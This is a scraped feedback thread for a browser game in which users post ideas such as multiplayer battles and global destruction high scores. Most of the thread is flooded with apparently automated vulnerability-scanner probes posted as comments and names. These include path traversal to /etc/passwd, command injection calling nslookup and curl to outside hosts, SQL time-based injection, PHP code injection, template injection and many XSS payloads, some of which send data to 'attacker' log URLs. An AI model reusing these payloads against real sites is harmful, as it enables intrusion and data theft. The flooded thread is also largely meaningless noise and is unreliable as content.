Feedback

battle by alexof - 152 months ago

A challenge between 2 or 3 friend. It's the first who finished to cancel a page in the shortest time.

• BeyPokéDig

  Maybe global hiscores for destruction time would work even better?

• alexof

  I was thinking to a duel live with friends or even with the unknown. For now the game can be played alone and there is no interaction. My idea is to create.

• alexof

  but your idea is good too

• SiteDestroyer3

  I AGREE WITH ALEXOF!!!!!!!!!!!!!

• Boogerflicker

  I would have to agree with BeyPokeDig on his idea. Global Page Destruction Time Highscores would be a much better option because if it was a multiplayer game both you and your friend would need to be on the same site. PLus how would you be able to see your friends ship? You couldn't. It would be super simple to add a global highscores for destruction time.

• Declan.clark

  battles

• TemVyrus

  multiplayer to destroy big sites like yahoo would be a good idea rite?

• Anonymus KickAsser

  it would be very, very cool

• lxbfYeaa

  1

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1pHKSnHQAO

• 1Bsmb5EgYIO

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  ${9999240+10000141}

• ${9999796+9999106}

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• Anonymous

  1

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  /etc/shells

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  1

• WfxYANoW

  bxss.me

• WfxYANoW

  ../1

• WfxYANoW

  response.write(9822923*9500551)

• WfxYANoW

  '+response.write(9822923*9500551)+'

• WfxYANoW

  "+response.write(9822923*9500551)+"

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• Http://bxss.me/t/fit.txt

  1

• file:///etc/passwd

  1

• response.write(9630351*9618675)

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  1

• '+response.write(9630351*9618675)+'

  1

• ../WfxYANoW

  1

• "+response.write(9630351*9618675)+"

  1

• WfxYANoW

  echo gziarl$()\ cumbip\nz^xyu||a #' &echo gziarl$()\ cumbip\nz^xyu||a #|" &echo gziarl$()\ cumbip\nz^xyu||a #

• /etc/shells

  1

• WfxYANoW

  RIIdDnYn

• WfxYANoW

  &echo clqcif$()\ zaqerl\nz^xyu||a #' &echo clqcif$()\ zaqerl\nz^xyu||a #|" &echo clqcif$()\ zaqerl\nz^xyu||a #

• WfxYANoW

  1&echo nykzue$()\ zdfjil\nz^xyu||a #' &echo nykzue$()\ zdfjil\nz^xyu||a #|" &echo nykzue$()\ zdfjil\nz^xyu||a #

• WfxYANoW

  1

• c:/windows/win.ini

  1

• WfxYANoW

  |echo qvkeop$()\ ssnzzu\nz^xyu||a #' |echo qvkeop$()\ ssnzzu\nz^xyu||a #|" |echo qvkeop$()\ ssnzzu\nz^xyu||a #

• WfxYANoW

  1|echo ngmgvd$()\ fkslaz\nz^xyu||a #' |echo ngmgvd$()\ fkslaz\nz^xyu||a #|" |echo ngmgvd$()\ fkslaz\nz^xyu||a #

• WfxYANoW

  (nslookup -q=cname hitirhmrxrfxv680e6.bxss.me||curl hitirhmrxrfxv680e6.bxss.me))

• WfxYANoW

  EWhYAPQs: HMEkcNgx

• bxss.me

  1

• W71tXQBQ

  1

• WfxYANoW

  $(nslookup -q=cname hitoovfcwnjyhafd62.bxss.me||curl hitoovfcwnjyhafd62.bxss.me)

• Lny6bLv6: Av02NpQi

  1

• WfxYANoW

  1&n961581=v961449

• WfxYANoW

  &nslookup -q=cname hittuteduhnfj0c979.bxss.me&'\"`0&nslookup -q=cname hittuteduhnfj0c979.bxss.me&`'

• TUVXNmFkNHQ=

  1

• WfxYANoW&n917483=v950461

  1

• WfxYANoW

  )

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  &(nslookup -q=cname hitiqpoludlxib11a9.bxss.me||curl hitiqpoludlxib11a9.bxss.me)&'\"`0&(nslookup -q=cname hitiqpoludlxib11a9.bxss.me||curl hitiqpoludlxib11a9.bxss.me)&`'

• WfxYANoW

  1

• WfxYANoW

  |(nslookup -q=cname hityfzegtxfqp2d2cb.bxss.me||curl hityfzegtxfqp2d2cb.bxss.me)

• WfxYANoW

  '"()

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  `(nslookup -q=cname hitzdfwgzjnnv7fb73.bxss.me||curl hitzdfwgzjnnv7fb73.bxss.me)`

• WfxYANoW

  1'&&sleep(27*1000)*xliriw&&'

• WfxYANoW

  ;(nslookup -q=cname hitgsswxxixmj5dfbb.bxss.me||curl hitgsswxxixmj5dfbb.bxss.me)|(nslookup -q=cname hitgsswxxixmj5dfbb.bxss.me||curl hitgsswxxixmj5dfbb.bxss.me)&(nslookup -q=cname hitgsswxxixmj5dfbb.bxss.me||curl hitgsswxxixmj5dfbb.bxss.me)

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitdilyndeejk319cf.bxss.me||curl${IFS}hitdilyndeejk319cf.bxss.me)

• WfxYANoW

  '.gethostbyname(lc('hitak'.'inievsnl99801.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(83).chr(100).chr(77).'

• )

  1

• WfxYANoW

  ".gethostbyname(lc("hitwh"."ztlqfimbdd251.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(67).chr(105).chr(75)."

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitaaqngotgtd39259.bxss.me||curl${IFS}hitaaqngotgtd39259.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitaaqngotgtd39259.bxss.me||curl${IFS}hitaaqngotgtd39259.bxss.me)&`'

• WfxYANoW

  1"&&sleep(27*1000)*sfytdx&&"

• WfxYANoW

  gethostbyname(lc('hitbm'.'rymfmnie61ed0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(84).chr(100).chr(89)

• WfxYANoW

  1'||sleep(27*1000)*nrhswd||'

• WfxYANoW

  1"||sleep(27*1000)*inrozd||"

• WfxYANoW

  1

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• !(()&&!|*|*|

  1

• WfxYANoW

  ';print(md5(31337));$a='

• ^(#$!@#$)(()))******

  1

• '"()

  1

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW'&&sleep(27*1000)*rsrina&&'

  1

• WfxYANoW

  xfs.bxss.me

• WfxYANoW"&&sleep(27*1000)*hgblss&&"

  1

• WfxYANoW

  ${@print(md5(31337))}

• xfs.bxss.me

  1

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW'||sleep(27*1000)*fnpxgr||'

  1

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  '"

• WfxYANoW"||sleep(27*1000)*ushhac||"

  1

• WfxYANoW

  1'"()&%<zzz><ScRiPt >qob2(9075)</ScRiPt>

• ';print(md5(31337));$a='

  1

• ";print(md5(31337));$a="

  1

• WfxYANoW

  <!--

• '"

  1

• ${@print(md5(31337))}

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >qob2(9068)</ScRiPt>

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  1

• ${@print(md5(31337))}\

  1

• WfxYANoW

  bxss.me/t/xss.html?%00

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  19922668

• bxss.me/t/xss.html?%00

  1

• <!--

  1

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(98).concat(82).concat(106).concat(69)+(require"socket" Socket.gethostbyname("hitzd"+"grivopvo4384b.bxss.me.")[3].to_s)+"

• '.print(md5(31337)).'

  1

• WfxYANoW

  bfg3912＜s1﹥s2ʺs3ʹhjl3912

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(121).concat(87).concat(103).concat(75)+(require'socket' Socket.gethostbyname('hitne'+'iwkxxhmo8d7f9.bxss.me.')[3].to_s)+'

• WfxYANoW

  comment

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(97).concat(83).concat(108).concat(89)+(require'socket' Socket.gethostbyname('hitja'+'bevqkxnq35f91.bxss.me.')[3].to_s)

• WfxYANoW

  comment

• WfxYANoW

  comment/.

• comment

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• comment

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• comment/.

  1

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >qob2(9953)</ScRiPt>

• WfxYANoW

  1IrmmMH2g

• WfxYANoW

  1<WDTJJS>YT0HO[!+!]</WDTJJS>

• WfxYANoW

  1<script>qob2(9312)</script>

• WfxYANoW

  1<script>qob2(9172)</script>9172

• WfxYANoW

  1<ScR<ScRiPt>IpT>qob2(9699)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >qob2(9918)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9615></ScRiPt>

• WfxYANoW

  1<ScRiPt >qob2(9700)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=qob2(9668)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9113'>

• WfxYANoW

  1<body onload=qob2(9790)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=qob2(9484)>

• WfxYANoW

  1<img src=xyz OnErRor=qob2(9586)>

• WfxYANoW

  1<img/src=">" onerror=alert(9790)>

• WfxYANoW

  1

• WfxYANoW

  -1 OR 2+611-611-1=0+0+0+1 --

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%71%6F%62%32%289787%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  -1 OR 2+402-402-1=0+0+0+1

• WfxYANoW

  -1' OR 2+319-319-1=0+0+0+1 --

• WfxYANoW

  1\u003CScRiPt\qob2(9727)\u003C/sCripT\u003E

• WfxYANoW

  -1' OR 2+982-982-1=0+0+0+1 or 'gwNAA6mC'='

• WfxYANoW

  -1" OR 2+627-627-1=0+0+0+1 --

• WfxYANoW

  1&lt;ScRiPt&gt;qob2(9989)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=qob2(9065)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(qob2(9727))}

• WfxYANoW

  1ugtI4 <ScRiPt >qob2(9612)</ScRiPt>

• WfxYANoW

  1<WEAXET>OCKD8[!+!]</WEAXET>

• WfxYANoW

  1<ifRAme sRc=9647.com></IfRamE>

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW

  1<a4xVbL6 x=9482>

• WfxYANoW

  1<img sRc='http://attacker-9532/log.php?

• WfxYANoW

  1<am41a3p<

• WfxYANoW'"()&%<zzz><ScRiPt >qob2(9022)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >qob2(9033)</ScRiPt>

  1

• WfxYANoW9504495

  1

• bfg5670＜s1﹥s2ʺs3ʹhjl5670

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >qob2(9906)</ScRiPt>

  1

• WfxYANoW<WD8BJL>UKUXT[!+!]</WD8BJL>

  1

• WfxYANoW<script>qob2(9439)</script>

  1

• WfxYANoW<script>qob2(9743)</script>9743

  1

• WfxYANoW<ScRiPt >qob2(9891)</ScRiPt>

  1

• WfxYANoW<ScRiPt >qob2(9740)</ScRiPt>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<body onload=qob2(9895)>

  1

• WfxYANoW<img src=xyz OnErRor=qob2(9709)>

  1

• WfxYANoW<img/src=">" onerror=alert(9687)>

  1

• WfxYANoW\u003CScRiPt\qob2(9467)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;qob2(9412)&lt;/sCripT&gt;

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW<input autofocus onfocus=qob2(9340)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(qob2(9819))}

  1

• WfxYANoWoqVId <ScRiPt >qob2(9749)</ScRiPt>

  1

• WfxYANoW<W8C7ZI>CPNDF[!+!]</W8C7ZI>

  1

• WfxYANoW<ifRAme sRc=9025.com></IfRamE>

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW<arPzmCQ x=9172>

  1

• WfxYANoW<img sRc='http://attacker-9002/log.php?

  1

• WfxYANoW<aghqtXI<

  1

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1BLca0yub'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 493=(SELECT 493 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 377=(SELECT 377 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 358=(SELECT 358 FROM PG_SLEEP(15))--

• WfxYANoW

  1YNTDbPrt' OR 607=(SELECT 607 FROM PG_SLEEP(15))--

• WfxYANoW

  1iTSdvCJ8') OR 374=(SELECT 374 FROM PG_SLEEP(15))--

• WfxYANoW

  1GuSJ5q8u')) OR 333=(SELECT 333 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@4wxMb

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWkIZrxkg4

  1

• WfxYANoW

  1

• -1 OR 2+162-162-1=0+0+0+1 --

  1

• -1 OR 2+447-447-1=0+0+0+1

  1

• -1' OR 2+530-530-1=0+0+0+1 --

  1

• -1' OR 2+181-181-1=0+0+0+1 or 'jbbSUDDA'='

  1

• -1" OR 2+624-624-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoW9UoghQUO'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@cR3bz

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• djngteal

  1

• kglainil

  response.write(9452227*9678203)

• kglainil

  '+response.write(9452227*9678203)+'

• yhqggklu

  1

• kglainil

  "+response.write(9452227*9678203)+"

• yhqggklu

  1

• rdhslmlk

  set|set&set

• response.write(9532323*9832293)

  1

• yhqggklu

  O7s9xVMU

• rdhslmlk

  $(nslookup SKca0XYR)

• '+response.write(9532323*9832293)+'

  1

• qwdynmru

  1ykb7dcQ

• yhqggklu

  -1 OR 2+930-930-1=0+0+0+1 --

• rdhslmlk

  &nslookup GpkuW8jl&'\"`0&nslookup GpkuW8jl&`'

• "+response.write(9532323*9832293)+"

  1

• cp3V3j2u

  1

• yhqggklu

  -1 OR 2+400-400-1=0+0+0+1

• set|set&set

  1

• xgaggwgm

  ../../../../../../../../../../etc/passwd

• menugqff

  1

• yhqggklu

  -1' OR 2+683-683-1=0+0+0+1 --

• $(nslookup U7Ppn8zI)

  1

• xgaggwgm

  ../../../../../../../../../../../../../../../proc/version

• yhqggklu

  -1' OR 2+753-753-1=0+0+0+1 or '1GeE5TzI'='

• &nslookup iwDP2Ezp&'\"`0&nslookup iwDP2Ezp&`'

  1

• fgskcldc

  ${10000102+9999002}

• apgtdxaj

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• xgaggwgm

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• yhqggklu

  -1" OR 2+503-503-1=0+0+0+1 --

• Rk50dTVmejU=

  1

• ${9999755+9999043}

  1

• apgtdxaj

  1some_inexistent_file_with_long_name.jpg

• xgaggwgm

  ../../../../../../../../../../etc/passwd.jpg

• yhqggklu

  if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/

• ehgmvvqk

  1&n958275=v957090

• juhnqkeh

  )

• apgtdxaj

  Http://testasp.vulnweb.com/t/fit.txt

• xgaggwgm

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• menugqff

  1

• yhqggklu

  (select(0)from(select(sleep(10)))v)/*'+(select(0)from(select(sleep(10)))v)+'"+(select(0)from(select(sleep(10)))v)+"*/

• juhnqkeh

  !(()&&!|*|*|

• apgtdxaj

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• xgaggwgm

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• Anonymous

  1

• yhqggklu

  -1; waitfor delay '0:0:10' --

• uwsomynb&n913803=v936270

  1

• juhnqkeh

  ^(#$!@#$)(()))******

• apgtdxaj

  testasp.vulnweb.com

• xgaggwgm

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• yhqggklu

  -1); waitfor delay '0:0:3' --

• )

  1

• xgaggwgm

  /etc/passwd

• yhqggklu

  -1); waitfor delay '0:0:0' --

• !(()&&!|*|*|

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• xgaggwgm

  %2fetc%2fpasswd

• mhljjfqc

  ;print(md5(acunetix_wvs_security_test));

• yhqggklu

  1 waitfor delay '0:0:3' --

• wiwuthwg

  '"()

• ^(#$!@#$)(()))******

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• xgaggwgm

  /.././.././.././.././.././.././.././../etc/./passwd%00

• mhljjfqc

  ';print(md5(acunetix_wvs_security_test));$a='

• yhqggklu

  1 waitfor delay '0:0:7' --

• kgqxgsok

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• xgaggwgm

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• mhljjfqc

  ";print(md5(acunetix_wvs_security_test));$a="

• yhqggklu

  fd1Damw7'; waitfor delay '0:0:3' --

• '"()

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• testasp.vulnweb.com

  1

• xgaggwgm

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• mhljjfqc

  ${@print(md5(acunetix_wvs_security_test))}

• yhqggklu

  lg6LyyYk'; waitfor delay '0:0:10' --

• cvxkckhx

  1

• iomhorca

  http://hit6HJNELxw34.bxss.me/

• kwimwuxj

  1

• mhljjfqc

  ${@print(md5(acunetix_wvs_security_test))}\

• yhqggklu

  -1;select pg_sleep(7); --

• cvxkckhx

  comment

• wvgrhumo

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• kwimwuxj

  1'"

• http://hitPofdrc9sAx.bxss.me/

  1

• xgaggwgm

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• ;print(md5(acunetix_wvs_security_test));

  1

• yhqggklu

  -1);select pg_sleep(7); --

• cvxkckhx

  comment

• kwimwuxj

  \

• gutfarmn

  /www.vulnweb.com

• xgaggwgm

  file:///etc/passwd

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• yhqggklu

  -1));select pg_sleep(10); --

• cvxkckhx

  comment/.

• dlnnvyuw

  '"

• /www.vulnweb.com

  1

• xgaggwgm

  /\../\../\../\../\../\../\../etc/passwd

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• yhqggklu

  woul2yhH';select pg_sleep(10); --

• cvxkckhx

  1

• dlnnvyuw

  <!--

• kwimwuxj

  @@Q6VI3

• gqlasibe

  1'"()&%<acx><ScRiPt >AEFb(9140)</ScRiPt>

• xgaggwgm

  WEB-INF/web.xml

• ${@print(md5(acunetix_wvs_security_test))}

  1

• yhqggklu

  JepBczGp');select pg_sleep(10); --

• comment

  1

• '"

  1

• kwimwuxj

  JyI=

• xgaggwgm

  /WEB-INF/web.xml

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• yhqggklu

  SfFvtHgN'));select pg_sleep(3); --

• comment

  1

• <!--

  1

• gqlasibe

  '"()&%<acx><ScRiPt >AEFb(9012)</ScRiPt>

• xgaggwgm

  WEB-INF\web.xml

• yhqggklu

  DctvW5Ph'));select pg_sleep(0); --

• comment/.

  1

• ../../../../../../../../../../etc/passwd

  1

• yhqggklu

  1

• kwimwuxj

  (select convert(int,CHAR(65)))

• gqlasibe

  1_9468

• yhqggklu

  1

• kwimwuxj

  1

• RgYzU3dD

  1

• 1'"

  1

• gqlasibe

  acu9724＜s1﹥s2ʺs3ʹuca9724

• ../../../../../../../../../../etc/passwd.jpg

  1

• -1 OR 2+459-459-1=0+0+0+1 --

  1

• \

  1

• -1 OR 2+680-680-1=0+0+0+1

  1

• -1' OR 2+528-528-1=0+0+0+1 --

  1

• @@NCbyx

  1

• -1' OR 2+645-645-1=0+0+0+1 or 'rQTVuxy1'='

  1

• JyI=

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• gqlasibe

  {{10000002*9999448}}

• -1" OR 2+675-675-1=0+0+0+1 --

  1

• /etc/passwd

  1

• %2fetc%2fpasswd

  1

• (select convert(int,CHAR(65)))

  1

• 1 waitfor delay '0:0:10' --

  1

• gqlasibe

  1<ScRiPt >AEFb(9794)</ScRiPt>

• 6Z68rfom'; waitfor delay '0:0:10' --

  1

• Gi01E1ov';select pg_sleep(15); --

  1

• gqlasibe

  1<WJP90A>EKTZP[!+!]</WJP90A>

• sYBmRofs');select pg_sleep(15); --

  1

• zNQbbtLa'));select pg_sleep(5); --

  1

• gqlasibe

  1<script>AEFb(9550)</script>

• file:///etc/passwd

  1

• gqlasibe

  1<ScR<ScRiPt>IpT>AEFb(9176)</sCr<ScRiPt>IpT>

• /\../\../\../\../\../\../\../etc/passwd

  1

• WEB-INF/web.xml

  1

• gqlasibe

  1<ScRiPt >AEFb(9707)</ScRiPt>

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• gqlasibe

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9292></ScRiPt>

• gqlasibe

  1<ScRiPt >AEFb(9114)</ScRiPt>

• gqlasibe

  1<video><source onerror="javascript:AEFb(9895)">

• gqlasibe

  1<isindex type=image src=1 onerror=AEFb(9233)>

• gqlasibe

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9600'>

• gqlasibe

  1<body onload=AEFb(9392)>

• gqlasibe

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=AEFb(9691)>

• gqlasibe

  1<img src=xyz OnErRor=AEFb(9360)>

• gqlasibe

  1<img/src=">" onerror=alert(9374)>

• gqlasibe

  %31%3C%53%63%52%69%50%74%20%3E%41%45%46%62%289205%29%3C%2F%73%43%72%69%70%54%3E

• gqlasibe

  1\u003CScRiPt\AEFb(9971)\u003C/sCripT\u003E

• gqlasibe

  1&lt;ScRiPt&gt;AEFb(9461)&lt;/sCripT&gt;

• gqlasibe

  1<input autofocus onfocus=AEFb(9458)>

• gqlasibe

  <a HrEF=http://www.vulnweb.com></a>

• gqlasibe

  <a HrEF=jaVaScRiPT:>

• gqlasibe

  [url=http://www.vulnweb.com][/url]

• gqlasibe

  1<img<!-- --> src=x onerror=alert(9495);//><!-- -->

• gqlasibe

  1}body{acu:Expre/**/SSion(AEFb(9741))}

• gqlasibe

  1<% contenteditable onresize=AEFb(9829)>

• gqlasibe

  1_CC72E <ScRiPt >AEFb(9295)</ScRiPt>

• gqlasibe

  1<WCFUBH>IXTMP[!+!]</WCFUBH>

• gqlasibe

  1<ifRAme sRc=9429.com></IfRamE>

• gqlasibe

  1<Ry0M4z x=9684>

• gqlasibe

  1<img sRc='http://attacker-9802/log.php?

• gqlasibe'"()&%<acx><ScRiPt >AEFb(9714)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >AEFb(9735)</ScRiPt>

  1

• gqlasibe_9475

  1

• acu2053＜s1﹥s2ʺs3ʹuca2053

  1

• {{9999550*9999554}}

  1

• gqlasibe<ScRiPt >AEFb(9885)</ScRiPt>

  1

• gqlasibe<WKYRMC>LZCFE[!+!]</WKYRMC>

  1

• gqlasibe<script>AEFb(9297)</script>

  1

• gqlasibe<ScRiPt >AEFb(9289)</ScRiPt>

  1

• gqlasibe<ScRiPt >AEFb(9488)</ScRiPt>

  1

• gqlasibe<body onload=AEFb(9123)>

  1

• gqlasibe<img src=xyz OnErRor=AEFb(9717)>

  1

• gqlasibe<img/src=">" onerror=alert(9958)>

  1

• gqlasibe\u003CScRiPt\AEFb(9811)\u003C/sCripT\u003E

  1

• gqlasibe&lt;ScRiPt&gt;AEFb(9476)&lt;/sCripT&gt;

  1

• gqlasibe<input autofocus onfocus=AEFb(9732)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• gqlasibe}body{acu:Expre/**/SSion(AEFb(9701))}

  1

• gqlasibe<% contenteditable onresize=AEFb(9988)>

  1

• gqlasibe_z0L82 <ScRiPt >AEFb(9637)</ScRiPt>

  1

• gqlasibe<WTNOJ1>BGDJV[!+!]</WTNOJ1>

  1

• gqlasibe<ifRAme sRc=9835.com></IfRamE>

  1

• gqlasibe<bLKaob x=9686>

  1

• gqlasibe<img sRc='http://attacker-9988/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8065 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2858 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  799 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  747 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  710 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  662 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  661 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

